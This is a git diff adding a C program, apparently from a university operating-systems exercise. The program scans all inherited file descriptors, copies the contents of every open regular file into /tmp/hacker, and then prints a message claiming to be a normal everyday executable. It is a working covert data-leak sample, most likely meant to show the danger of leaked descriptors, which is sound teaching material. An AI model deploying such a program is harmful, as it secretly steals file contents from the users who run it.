1 files changed, 55 insertions, 0 deletions
diff --git a/semestr-5/so/lista4/so21_lista_4/innocent.c b/semestr-5/so/lista4/so21_lista_4/innocent.c
new file mode 100644
index 0000000..f2e45a6
--- /dev/null
+++ b/semestr-5/so/lista4/so21_lista_4/innocent.c
@@ -0,0 +1,55 @@
+#include "csapp.h"
+
+bool is_regular(int fd) {
+  struct stat statbuf;
+  fstat(fd, &statbuf);
+  return S_ISREG(statbuf.st_mode);
+}
+
+int main(void) {
+  long max_fd = sysconf(_SC_OPEN_MAX);
+  int out = Open("/tmp/hacker", O_CREAT | O_APPEND | O_WRONLY, 0666);
+
+  /* TODO: Something is missing here! */
+
+  char buf_path[200];
+  char pathname[100];
+  uint8_t buf[8000];
+
+  for (int fd = 0; fd < max_fd; fd++) {
+    if (fd == out) continue;
+
+    if (fcntl(fd, F_GETFD) == -1) {
+      if (errno != EBADF) {
+        fprintf(stderr, "Error while checking %d: %s\n", fd, strerror(errno));
+        exit(EXIT_FAILURE);
+      }
+      continue;
+    }
+    fprintf(stderr, "Fd %d open\n", fd);
+    sprintf(pathname, "/proc/%d/fd/%d", getpid(), fd);
+    size_t len = readlink(pathname, buf_path, sizeof(buf_path));
+    buf_path[len] = 0;
+    dprintf(out, "File descriptor %d is \'%s\' file!\n", fd, buf_path);
+    if (!is_regular(fd)) {
+      dprintf(out, "Not a regular file.\n");
+      continue;
+    }
+
+    int cur_off = Lseek(fd, 0, SEEK_CUR);
+    Lseek(fd, 0, SEEK_SET);
+
+    int cnt;
+    while ((cnt = Read(fd, buf, sizeof(buf))) != 0) {
+      Write(out, buf, cnt);
+    }
+    
+    Lseek(fd, cur_off, SEEK_SET);
+  }
+
+  Close(out);
+
+  printf("I'm just a normal executable you use on daily basis!\n");
+
+  return 0;
+}